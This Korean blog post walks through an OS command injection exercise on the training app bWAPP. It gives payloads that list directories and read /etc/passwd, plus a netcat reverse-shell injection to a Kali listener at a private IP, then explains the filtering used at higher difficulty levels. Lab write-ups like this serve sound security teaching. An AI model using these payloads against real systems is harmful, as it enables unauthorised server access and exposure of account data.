OS Command Injection

반응형

OS Command Injection

시스템 명령어를 쿼리문에 주입하여 취약한 변수를 통해 서버 운영체제에 접근하는 공격, shell_exec, eval, system 함수를 사용하여 발생되는 취약점이다.

[출처 - 유노님의 블로그]

 https://m.blog.naver.com/PostView.nhnblogId=chou7894&logNo=220891653971&proxyReferer=https%3A%2F%2Fwww.google.com%2F

 

A1. 인젝션 - OS Command 인젝션

1. 개념 OS Command 인젝션이란? 시스템 명령어를 쿼리문에 주입하여 취약한 변수를 통해 서버 운영체제...

blog.naver.com

간단히 말해 웹페이지에 시스템 명령어를 주입하여 쉘을 획득하는 공격이다.

 

bWAPP에 들어가 OS Command Injection 문제를 선택한다.

선택하면

다음과 같은 페이지가 나온다.

다음 페이지는 nslookup 명령어를 사용하여 DNS 주소를 출력해주는 사이트이다.

이 페이지에 시스템 명령어를 사용하여 OS의 정보를 알아낼 수 있다.

텍스트 필드에 |(파이프) ls ../../../ 명령어를 입력하면

다음과 같이 디렉터리 구조를 알아낼 수 있다.

(※ | : | 왼쪽 명령어를 | 오른쪽 입력으로 연결 , ; : 여러 명령어를 한줄에서 실행, ;를 사용해도 된다.)

 

; cat /etc/passwd 명령어를 사용하면 리눅스 계정 정보도 알아낼 수 있다.

또한 netcat(nc) 명령어를 입력하여 외부와 연결해 해당 서버에 명령어를 입력할 수 있다.

 

칼리 리눅스에서 nc를 이용하여 해당 서버 정보를 알아내보자

 

칼리를 키고 터미널을 키자

그 후 nc -l -p 2019( -l = 리스닝 모드, -p = 포트번호(포트번호는 자유))

그 후 페이지에 들어가서 nc 본인 IP 포트번호 -e /bin/bash( -e [파일명] : 프로그램 연결후 파일 실행)

입력을 하면 깜빡깜빡 거린다.

이제 bWAPP 들어가서 다음과 같이 입력한다.

| nc 172.30.1.58 2019 -e "/bin/bash"

(172.30.1.58 = 칼리 IP주소, 2019 = 칼리에서 입력한 포트번호, -e "/bin/bash" = 원격 접속 하였을 때 실행할 디렉터리)

그럼 렉 걸린거 마냥 아무 변화도 일어나지 않지만 당황하지 마라(본인은 당황해서 몇번 다시해보고 친구한테 물어보고 했다.)

이제 kali로 돌아와서 명령어를 입력하면 명령어가 먹힌다.

이렇게 나오면 정상적으로 원격접속이 된 것이다. 맞다 OS command Injection 공격에 성공한 것이다.

 

난이도-(medium, high)

난이도 medium 단계에서는 일부 특수문자(&&, ;)를 통한 명령어 삽입은 적용되지 않고 '|' 문자를 이용한 명령어만 공격이 통한다. 난이도 high 단계에서는 그 마저도 안된다.

이유는 commandi.php 파일을 확인해보면 알 수 있다.

commandi.php

다음과 같이 commandi.php를 확인하면 case 1(medium)에서는 commandi_check_1이 적용되어 있고 case2(high)에서는 commandi_check_2 함수가 적용 되어 있다.

이 함수가 머냐면

commandi_check_1은 "&",";"를 ""로 대체하기 때문이고 commandi_check_2 함수는 escapeshellcmd 함수가 적용되어 있기때문이다.

escapeshellcmd = OS command injection처럼 명령어 입력 공격을 방지하기 위해 #,&.;,|,*,? 등 특수문자 앞에 백 슬러시를 추가해줌

 

반응형

'웹해킹 > bee-box' 카테고리의 다른 글

SQL Injection(GET/Select)  (0) 2019.08.01
SSI Injection  (2) 2019.08.01
SQL Injection(Post/Search)  (0) 2019.07.30
SQL Injection(Get/Search)  (0) 2019.07.29
iframe Injection  (2) 2019.07.27